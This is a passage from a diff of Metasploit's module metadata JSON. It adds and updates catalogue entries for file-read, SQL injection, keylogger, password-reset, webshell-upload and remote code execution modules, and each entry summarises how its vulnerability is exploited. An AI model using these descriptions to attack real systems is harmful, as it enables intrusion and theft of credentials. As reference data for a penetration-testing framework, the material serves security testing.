"EDB-45296", + "CVE-2018-15745" + ], + "platform": "", + "arch": "", + "rport": 8080, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2025-01-31 12:49:35 +0000", + "path": "/modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.rb", + "is_install_path": true, + "ref_name": "gather/argus_dvr_4_lfi_cve_2018_15745", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + + ], + "Reliability": [ + + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + + ] + }, "auxiliary_gather/asrep": { "name": "Find Users Without Pre-Auth Required (ASREP-roast)", "fullname": "auxiliary/gather/asrep", @@ -23688,7 +24013,7 @@ "alanfoster", "sjanusz-r7" ], - "description": "This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilizes\n the different responses returned by the service for valid and invalid users.", + "description": "This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilizes\n the different responses returned by the service for valid and invalid users. This module can also detect accounts\n that are vulnerable to ASREPRoast attacks.", "references": [ "URL-https://nmap.org/nsedoc/scripts/krb5-enum-users.html" ], @@ -23702,7 +24027,7 @@ ], "targets": null, - "mod_time": "2022-05-27 13:34:10 +0000", + "mod_time": "2024-11-12 13:34:51 +0000", "path": "/modules/auxiliary/gather/kerberos_enumusers.rb", "is_install_path": true, "ref_name": "gather/kerberos_enumusers", @@ -23831,9 +24156,10 @@ "type": "auxiliary", "author": [ "Grant Willcox", - "Spencer McIntyre" + "Spencer McIntyre", + "jheysel-r7" ], - "description": "This module allows users to query a LDAP server for vulnerable certificate\n templates and will print these certificates out in a table along with which\n attack they are vulnerable to and the SIDs that can be used to enroll in that\n certificate template.\n\n Additionally the module will also print out a list of known certificate servers\n along with info about which vulnerable certificate templates the certificate server\n allows enrollment in and which SIDs are authorized to use that certificate server to\n perform this enrollment operation.\n\n Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC13,\n and ESC15. The module is limited to checking for these techniques due to them being identifiable remotely from\n a normal user account by analyzing the objects in LDAP.", + "description": "This module allows users to query a LDAP server for vulnerable certificate\n templates and will print these certificates out in a table along with which\n attack they are vulnerable to and the SIDs that can be used to enroll in that\n certificate template.\n\n Additionally the module will also print out a list of known certificate servers\n along with info about which vulnerable certificate templates the certificate server\n allows enrollment in and which SIDs are authorized to use that certificate server to\n perform this enrollment operation.\n\n Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC4,\n ESC13, and ESC15. The module is limited to checking for these techniques due to them being identifiable\n remotely from a normal user account by analyzing the objects in LDAP.", "references": [ "URL-https://posts.specterops.io/certified-pre-owned-d95910965cd2", "URL-https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53", @@ -23849,7 +24175,7 @@ ], "targets": null, - "mod_time": "2024-10-10 09:24:48 +0000", + "mod_time": "2025-01-31 14:48:57 +0000", "path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb", "is_install_path": true, "ref_name": "gather/ldap_esc_vulnerable_cert_finder", @@ -23961,7 +24287,7 @@ ], "targets": null, - "mod_time": "2024-05-02 13:57:13 +0000", + "mod_time": "2025-01-22 16:15:52 +0000", "path": "/modules/auxiliary/gather/ldap_query.rb", "is_install_path": true, "ref_name": "gather/ldap_query", @@ -24076,6 +24402,10 @@ "name": "ENUM_ORGUNITS", "description": "Dump info about all known organizational units in the LDAP environment." }, + { + "name": "ENUM_PRE_WINDOWS_2000_COMPUTERS", + "description": "Dump info about all computer objects likely created as a \"pre-Windows 2000 computer\", for which the password might be predictable." + }, { "name": "ENUM_UNCONSTRAINED_DELEGATION", "description": "Dump info about all known objects that allow unconstrained delegation." @@ -25145,6 +25475,67 @@ ] }, + "auxiliary_gather/onedev_arbitrary_file_read": { + "name": "OneDev Unauthenticated Arbitrary File Read", + "fullname": "auxiliary/gather/onedev_arbitrary_file_read", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2024-10-19", + "type": "auxiliary", + "author": [ + "vultza", + "Siebene" + ], + "description": "This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8.\n To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor\n can view existing projects without authentication.\n However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach.\n By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability.", + "references": [ + "CVE-2024-45309", + "URL-https://github.com/theonedev/onedev/security/advisories/GHSA-7wg5-6864-v489" + ], + "platform": "", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2025-01-06 18:48:26 +0000", + "path": "/modules/auxiliary/gather/onedev_arbitrary_file_read.rb", + "is_install_path": true, + "ref_name": "gather/onedev_arbitrary_file_read", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + + ] + }, "auxiliary_gather/opennms_xxe": { "name": "OpenNMS Authenticated XXE", "fullname": "auxiliary/gather/opennms_xxe", @@ -25508,7 +25899,8 @@ ], "description": "This module utilizes Prometheus' API calls to gather information about\n the server's configuration, and targets. Fields which may contain\n credentials, or credential file names are then pulled out and printed.\n\n Targets may have a wealth of information, this module will print the following\n values when found:\n __meta_gce_metadata_ssh_keys, __meta_gce_metadata_startup_script,\n __meta_gce_metadata_kube_env, kubernetes_sd_configs,\n _meta_kubernetes_pod_annotation_kubectl_kubernetes_io_last_applied_configuration,\n __meta_ec2_tag_CreatedBy, __meta_ec2_tag_OwnedBy\n\n Shodan search: \"http.favicon.hash:-1399433489\"", "references": [ - "URL-https://jfrog.com/blog/dont-let-prometheus-steal-your-fire/" + "URL-https://jfrog.com/blog/dont-let-prometheus-steal-your-fire/", + "URL-https://www.aquasec.com/blog/300000-prometheus-servers-and-exporters-exposed-to-dos-attacks/" ], "platform": "", "arch": "", @@ -25529,7 +25921,7 @@ "https" ], "targets": null, - "mod_time": "2023-08-15 18:04:59 +0000", + "mod_time": "2025-01-15 17:54:20 +0000", "path": "/modules/auxiliary/gather/prometheus_api_gather.rb", "is_install_path": true, "ref_name": "gather/prometheus_api_gather", @@ -25568,7 +25960,8 @@ "description": "This modules connects to a Prometheus Node Exporter or Windows Exporter service\n and gathers information about the host.\n\n Tested against Docker image 1.6.1, Linux 1.6.1, and Windows 0.23.1", "references": [ "URL-https://github.com/prometheus/node_exporter", - "URL-https://sysdig.com/blog/exposed-prometheus-exploit-kubernetes-kubeconeu/" + "URL-https://sysdig.com/blog/exposed-prometheus-exploit-kubernetes-kubeconeu/", + "URL-https://www.aquasec.com/blog/300000-prometheus-servers-and-exporters-exposed-to-dos-attacks/" ], "platform": "", "arch": "", @@ -25589,7 +25982,7 @@ "https" ], "targets": null, - "mod_time": "2024-07-24 16:42:43 +0000", + "mod_time": "2025-01-15 17:54:20 +0000", "path": "/modules/auxiliary/gather/prometheus_node_exporter_gather.rb", "is_install_path": true, "ref_name": "gather/prometheus_node_exporter_gather", @@ -26434,6 +26827,66 @@ ] }, + "auxiliary_gather/selenium_file_read": { + "name": "Selenium arbitrary file read", + "fullname": "auxiliary/gather/selenium_file_read", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2020-10-01", + "type": "auxiliary", + "author": [ + "Jon Stratton", + "Takahiro Yokoyama" + ], + "description": "If there is an open selenium web driver, a remote attacker can send requests to the victims browser.\n In certain cases this can be used to access to the remote file system.", + "references": [ + "URL-https://github.com/JonStratton/selenium-node-takeover-kit" + ], + "platform": "Cisco", + "arch": "", + "rport": 4444, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2025-01-08 21:09:22 +0000", + "path": "/modules/auxiliary/gather/selenium_file_read.rb", + "is_install_path": true, + "ref_name": "gather/selenium_file_read", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [ + + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + + ] + }, "auxiliary_gather/shodan_honeyscore": { "name": "Shodan Honeyscore Client", "fullname": "auxiliary/gather/shodan_honeyscore", @@ -27363,7 +27816,8 @@ "author": [ "Alberto Solino", "Christophe De La Fuente", - "antuache" + "antuache", + "smashery" ], "description": "Dumps SAM hashes and LSA secrets (including cached creds) from the\n remote Windows target without executing any agent locally. This is\n done by remotely updating the registry key security descriptor,\n taking advantage of the WriteDACL privileges held by local\n administrators to set temporary read permissions.\n\n This can be disabled by setting the `INLINE` option to false and the\n module will fallback to the original implementation, which consists\n in saving the registry hives locally on the target\n (%SYSTEMROOT%\\Temp\\.tmp), downloading the temporary hive\n files and reading the data from it. This temporary files are removed\n when it's done.\n\n On domain controllers, secrets from Active Directory is extracted\n using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need\n to get SIDs, NTLM hashes, groups, password history, Kerberos keys and\n other interesting data. Note that the actual `NTDS.dit` file is not\n downloaded. Instead, the Directory Replication Service directly asks\n Active Directory through RPC requests.\n\n This modules takes care of starting or enabling the Remote Registry\n service if needed. It will restore the service to its original state\n when it's done.\n\n This is a port of the great Impacket `secretsdump.py` code written by\n Alberto Solino.", "references": [ @@ -27381,7 +27835,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2024-04-30 20:52:23 +0000", + "mod_time": "2024-12-16 14:55:10 +0000", "path": "/modules/auxiliary/gather/windows_secrets_dump.rb", "is_install_path": true, "ref_name": "gather/windows_secrets_dump", @@ -27517,7 +27971,7 @@ "https" ], "targets": null, - "mod_time": "2022-11-15 09:08:38 +0000", + "mod_time": "2024-12-29 17:25:12 +0000", "path": "/modules/auxiliary/gather/wp_bookingpress_category_services_sqli.rb", "is_install_path": true, "ref_name": "gather/wp_bookingpress_category_services_sqli", @@ -27645,6 +28099,64 @@ ] }, + "auxiliary_gather/x11_keyboard_spy": { + "name": "X11 Keylogger", + "fullname": "auxiliary/gather/x11_keyboard_spy", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "1997-07-01", + "type": "auxiliary", + "author": [ + "h00die", + "nir tzachar" + ], + "description": "This module binds to an open X11 host to log keystrokes. This is a fairly\n close copy of the old xspy c program which has been on Kali for a long time.\n The module works by connecting to the X11 session, creating a background\n window, binding a keyboard to it and creating a notification alert when a key\n is pressed.\n\n One of the major limitations of xspy, and thus this module, is that it polls\n at a very fast rate, faster than a key being pressed is released (especially before\n the repeat delay is hit). To combat printing multiple characters for a single key\n press, repeat characters arent printed when typed in a very fast manor. This is also\n an imperfect keylogger in that keystrokes arent stored and forwarded but status\n displayed at poll time. Keys may be repeated or missing.", + "references": [ + "URL-https://www.kali.org/tools/xspy/", + "CVE-1999-0526" + ], + "platform": "", + "arch": "", + "rport": 6000, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2024-11-27 14:29:44 +0000", + "path": "/modules/auxiliary/gather/x11_keyboard_spy.rb", + "is_install_path": true, + "ref_name": "gather/x11_keyboard_spy", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + + ], + "AKA": [ + "xspy" + ], + "RelatedModules": [ + "auxiliary/scanner/x11/open_x11" + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + + ] + }, "auxiliary_gather/xbmc_traversal": { "name": "XBMC Web Server Directory Traversal", "fullname": "auxiliary/gather/xbmc_traversal", @@ -28859,7 +29371,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2023-12-15 13:40:55 +0000", + "mod_time": "2025-01-27 08:35:00 +0000", "path": "/modules/auxiliary/scanner/dcerpc/petitpotam.rb", "is_install_path": true, "ref_name": "scanner/dcerpc/petitpotam", @@ -41979,6 +42491,70 @@ ] }, + "auxiliary_scanner/http/strapi_3_password_reset": { + "name": "Strapi CMS Unauthenticated Password Reset", + "fullname": "auxiliary/scanner/http/strapi_3_password_reset", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2022-02-09", + "type": "auxiliary", + "author": [ + "WackyH4cker", + "h00die" + ], + "description": "This module abuses the mishandling of a password reset request for\n Strapi CMS version 3.0.0-beta.17.4 to change the password of the admin user.\n\n Successfully tested against Strapi CMS version 3.0.0-beta.17.4.", + "references": [ + "URL-https://vulners.com/cve/CVE-2019-18818", + "URL-https://github.com/strapi/strapi/releases/tag/v3.0.0-beta.17.4", + "URL-https://github.com/strapi/strapi/pull/4443", + "CVE-2019-18818", + "EDB-50716" + ], + "platform": "", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2024-11-16 15:47:54 +0000", + "path": "/modules/auxiliary/scanner/http/strapi_3_password_reset.rb", + "is_install_path": true, + "ref_name": "scanner/http/strapi_3_password_reset", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + + ] + }, "auxiliary_scanner/http/support_center_plus_directory_traversal": { "name": "ManageEngine Support Center Plus Directory Traversal", "fullname": "auxiliary/scanner/http/support_center_plus_directory_traversal", @@ -44989,7 +45565,7 @@ "https" ], "targets": null, - "mod_time": "2024-10-14 11:14:47 +0000", + "mod_time": "2024-12-29 17:25:12 +0000", "path": "/modules/auxiliary/scanner/http/wp_fastest_cache_sqli.rb", "is_install_path": true, "ref_name": "scanner/http/wp_fastest_cache_sqli", @@ -45562,6 +46138,67 @@ } ] }, + "auxiliary_scanner/http/wp_perfect_survey_sqli": { + "name": "WordPress Plugin Perfect Survey 1.5.1 SQLi (Unauthenticated)", + "fullname": "auxiliary/scanner/http/wp_perfect_survey_sqli", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2021-10-05", + "type": "auxiliary", + "author": [ + "Aaryan Golatkar", + "Ron Jost" + ], + "description": "This module exploits a SQL injection vulnerability in the Perfect Survey\n plugin for WordPress (version 1.5.1). An unauthenticated attacker can\n exploit the SQLi to retrieve sensitive information such as usernames,\n emails, and password hashes from the `wp_users` table.", + "references": [ + "EDB-50766", + "CVE-2021-24762" + ], + "platform": "", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2024-12-29 17:25:12 +0000", + "path": "/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb", + "is_install_path": true, + "ref_name": "scanner/http/wp_perfect_survey_sqli", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [ + + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + + ] + }, "auxiliary_scanner/http/wp_registrationmagic_sqli": { "name": "Wordpress RegistrationMagic task_ids Authenticated SQLi", "fullname": "auxiliary/scanner/http/wp_registrationmagic_sqli", @@ -45966,7 +46603,7 @@ "https" ], "targets": null, - "mod_time": "2024-10-29 19:41:47 +0000", + "mod_time": "2024-12-29 17:25:12 +0000", "path": "/modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.rb", "is_install_path": true, "ref_name": "scanner/http/wp_ultimate_member_sorting_sqli", @@ -46693,6 +47330,66 @@ ] }, + "auxiliary_scanner/ivanti/login_scanner": { + "name": "Ivanti Connect Secure HTTP Scanner", + "fullname": "auxiliary/scanner/ivanti/login_scanner", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "msutovsky-r7" + ], + "description": "This module will perform authentication scanning against Ivanti Connect Secure", + "references": [ + + ], + "platform": "", + "arch": "", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2025-02-03 06:34:49 +0000", + "path": "/modules/auxiliary/scanner/ivanti/login_scanner.rb", + "is_install_path": true, + "ref_name": "scanner/ivanti/login_scanner", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + "ioc-in-logs", + "account-lockouts" + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + + ] + }, "auxiliary_scanner/jenkins/jenkins_udp_broadcast_enum": { "name": "Jenkins Server Broadcast Enumeration", "fullname": "auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum", @@ -46860,7 +47557,7 @@ ], "targets": null, - "mod_time": "2024-10-10 17:17:02 +0000", + "mod_time": "2025-01-29 11:10:30 +0000", "path": "/modules/auxiliary/scanner/ldap/ldap_login.rb", "is_install_path": true, "ref_name": "scanner/ldap/ldap_login", @@ -49654,7 +50351,7 @@ ], "platform": "", "arch": "", - "rport": 123, + "rport": null, "autofilter_ports": [ ], @@ -49662,7 +50359,7 @@ ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2024-12-13 13:36:14 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb", "is_install_path": true, "ref_name": "scanner/ntp/ntp_nak_to_the_future", @@ -49935,6 +50632,58 @@ ] }, + "auxiliary_scanner/ntp/timeroast": { + "name": "NTP Timeroast", + "fullname": "auxiliary/scanner/ntp/timeroast", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "Tom Tervoort", + "Spencer McIntyre" + ], + "description": "Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first\n 48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes\n that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but\n because RIDs are sequential, they can easily be enumerated.", + "references": [ + "URL-https://github.com/SecuraBV/Timeroast/", + "URL-https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf" + ], + "platform": "", + "arch": "", + "rport": 123, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2024-12-19 17:12:39 +0000", + "path": "/modules/auxiliary/scanner/ntp/timeroast.rb", + "is_install_path": true, + "ref_name": "scanner/ntp/timeroast", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + + ], + "Reliability": [ + + ], + "SideEffects": [ + + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + + ] + }, "auxiliary_scanner/openvas/openvas_gsad_login": { "name": "OpenVAS gsad Web Interface Login Utility", "fullname": "auxiliary/scanner/openvas/openvas_gsad_login", @@ -55256,7 +56005,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2024-09-26 01:57:32 +0000", + "mod_time": "2024-12-16 14:55:10 +0000", "path": "/modules/auxiliary/scanner/smb/pipe_auditor.rb", "is_install_path": true, "ref_name": "scanner/smb/pipe_auditor", @@ -55301,7 +56050,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2024-10-13 13:38:05 +0000", + "mod_time": "2024-12-16 14:55:10 +0000", "path": "/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb", "is_install_path": true, "ref_name": "scanner/smb/pipe_dcerpc_auditor", @@ -55397,7 +56146,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2024-02-02 14:26:43 +0000", + "mod_time": "2024-12-16 14:55:10 +0000", "path": "/modules/auxiliary/scanner/smb/smb_enum_gpp.rb", "is_install_path": true, "ref_name": "scanner/smb/smb_enum_gpp", @@ -55447,7 +56196,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2024-02-02 14:26:43 +0000", + "mod_time": "2024-12-16 14:55:10 +0000", "path": "/modules/auxiliary/scanner/smb/smb_enumshares.rb", "is_install_path": true, "ref_name": "scanner/smb/smb_enumshares", @@ -55587,7 +56336,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2024-06-03 11:02:15 +0000", + "mod_time": "2025-01-29 11:10:30 +0000", "path": "/modules/auxiliary/scanner/smb/smb_login.rb", "is_install_path": true, "ref_name": "scanner/smb/smb_login", @@ -55790,7 +56539,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2024-05-07 10:54:35 +0000", + "mod_time": "2024-11-11 12:33:11 +0000", "path": "/modules/auxiliary/scanner/smb/smb_version.rb", "is_install_path": true, "ref_name": "scanner/smb/smb_version", @@ -56879,7 +57628,7 @@ ], "targets": null, - "mod_time": "2024-06-03 11:02:15 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/auxiliary/scanner/ssh/eaton_xpert_backdoor.rb", "is_install_path": true, "ref_name": "scanner/ssh/eaton_xpert_backdoor", @@ -56925,7 +57674,7 @@ ], "targets": null, - "mod_time": "2024-06-03 11:02:15 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb", "is_install_path": true, "ref_name": "scanner/ssh/fortinet_backdoor", @@ -57057,7 +57806,7 @@ ], "targets": null, - "mod_time": "2024-06-03 11:02:15 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/auxiliary/scanner/ssh/libssh_auth_bypass.rb", "is_install_path": true, "ref_name": "scanner/ssh/libssh_auth_bypass", @@ -57649,6 +58398,67 @@ ] }, + "auxiliary_scanner/teamcity/teamcity_login": { + "name": "JetBrains TeamCity Login Scanner", + "fullname": "auxiliary/scanner/teamcity/teamcity_login", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "adfoster-r7", + "sjanusz-r7" + ], + "description": "This module performs login attempts against a JetBrains TeamCity webpage to bruteforce possible credentials.", + "references": [ + + ], + "platform": "", + "arch": "", + "rport": 8111, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2024-12-17 14:27:41 +0000", + "path": "/modules/auxiliary/scanner/teamcity/teamcity_login.rb", + "is_install_path": true, + "ref_name": "scanner/teamcity/teamcity_login", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + "ioc-in-logs", + "account-lockouts" + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + + ] + }, "auxiliary_scanner/telephony/wardial": { "name": "Wardialer", "fullname": "auxiliary/scanner/telephony/wardial", @@ -59685,7 +60495,8 @@ "disclosure_date": null, "type": "auxiliary", "author": [ - "tebo " + "tebo ", + "h00die" ], "description": "This module scans for X11 servers that allow anyone\n to connect without authentication.", "references": [ @@ -59702,7 +60513,7 @@ ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2024-11-27 14:29:44 +0000", "path": "/modules/auxiliary/scanner/x11/open_x11.rb", "is_install_path": true, "ref_name": "scanner/x11/open_x11", @@ -59710,6 +60521,18 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + + ], + "Reliability": [ + + ], + "RelatedModules": [ + "auxiliary/gather/x11_keyboard_spy" + ] }, "session_types": false, "needs_cleanup": false, @@ -61554,7 +62377,7 @@ "https" ], "targets": null, - "mod_time": "2024-11-04 13:37:23 +0000", + "mod_time": "2025-02-04 15:41:33 +0000", "path": "/modules/auxiliary/server/relay/esc8.rb", "is_install_path": true, "ref_name": "server/relay/esc8", @@ -66909,7 +67732,7 @@ "targets": [ "Apple iOS" ], - "mod_time": "2022-04-18 23:36:23 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb", "is_install_path": true, "ref_name": "apple_ios/ssh/cydia_default_ssh", @@ -67352,7 +68175,7 @@ "PHP In-Memory", "Interactive SSH with jail break" ], - "mod_time": "2024-06-14 10:45:19 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/freebsd/http/junos_phprc_auto_prepend_file.rb", "is_install_path": true, "ref_name": "freebsd/http/junos_phprc_auto_prepend_file", @@ -70331,6 +71154,67 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/chamilo_bigupload_webshell": { + "name": "Chamilo v1.11.24 Unrestricted File Upload PHP Webshell", + "fullname": "exploit/linux/http/chamilo_bigupload_webshell", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-11-28", + "type": "exploit", + "author": [ + "Ngo Wei Lin", + "jheysel-r7" + ], + "description": "Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24\n a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to\n `post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to:\n `/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist\n by default.", + "references": [ + "URL-https://starlabs.sg/advisories/23/23-4220/", + "URL-https://github.com/H4cking4All/CVE-2023-4220/tree/main", + "CVE-2023-4220" + ], + "platform": "PHP", + "arch": "php", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "PHP" + ], + "mod_time": "2024-11-14 10:46:11 +0000", + "path": "/modules/exploits/linux/http/chamilo_bigupload_webshell.rb", + "is_install_path": true, + "ref_name": "linux/http/chamilo_bigupload_webshell", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_linux/http/chamilo_unauth_rce_cve_2023_34960": { "name": "Chamilo unauthenticated command injection in PowerPoint upload", "fullname": "exploit/linux/http/chamilo_unauth_rce_cve_2023_34960", @@ -71188,6 +72072,69 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/craftcms_ftp_template": { + "name": "Craft CMS Twig Template Injection RCE via FTP Templates Path", + "fullname": "exploit/linux/http/craftcms_ftp_template", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-12-19", + "type": "exploit", + "author": [ + "jheysel-r7", + "Valentin Lobstein", + "AssetNote" + ], + "description": "This module exploits a Twig template injection vulnerability in Craft CMS by abusing the --templatesPath argument.\n The vulnerability allows arbitrary template loading via FTP, leading to Remote Code Execution (RCE).", + "references": [ + "CVE-2024-56145", + "URL-https://github.com/Chocapikk/CVE-2024-56145", + "URL-https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms" + ], + "platform": "Linux,Unix", + "arch": "cmd", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Unix/Linux Command Shell" + ], + "mod_time": "2025-01-15 09:22:44 +0000", + "path": "/modules/exploits/linux/http/craftcms_ftp_template.rb", + "is_install_path": true, + "ref_name": "linux/http/craftcms_ftp_template", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/craftcms_unauth_rce_cve_2023_41892": { "name": "Craft CMS unauthenticated Remote Code Execution (RCE)", "fullname": "exploit/linux/http/craftcms_unauth_rce_cve_2023_41892", @@ -75559,6 +76506,70 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/http/ivanti_connect_secure_rce_cve_2024_37404": { + "name": "Ivanti Connect Secure Authenticated Remote Code Execution via OpenSSL CRLF Injection", + "fullname": "exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-10-08", + "type": "exploit", + "author": [ + "Richard Warren", + "Christophe De La Fuente" + ], + "description": "This module exploits a CRLF injection vulnerability in Ivanti Connect\n Secure to achieve remote code execution (CVE-2024-37404). Versions\n prior to 22.7R2.1 are vulnerable. Note that Ivanti Policy Secure\n versions prior to 22.7R1.1 are also vulnerable but this module\n doesn't support this software.\n\n Valid administrative credentials are required. A non-administrative\n user is also required and can be created using the administrative\n account, if needed.", + "references": [ + "CVE-2024-37404", + "URL-https://attackerkb.com/topics/FI5vcuGwyM/cve-2024-37404", + "URL-https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-and-Policy-Secure-CVE-2024-37404", + "URL-https://blog.amberwolf.com/blog/2024/october/cve-2024-37404-ivanti-connect-secure-authenticated-rce-via-openssl-crlf-injection/" + ], + "platform": "Linux", + "arch": "x86", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + 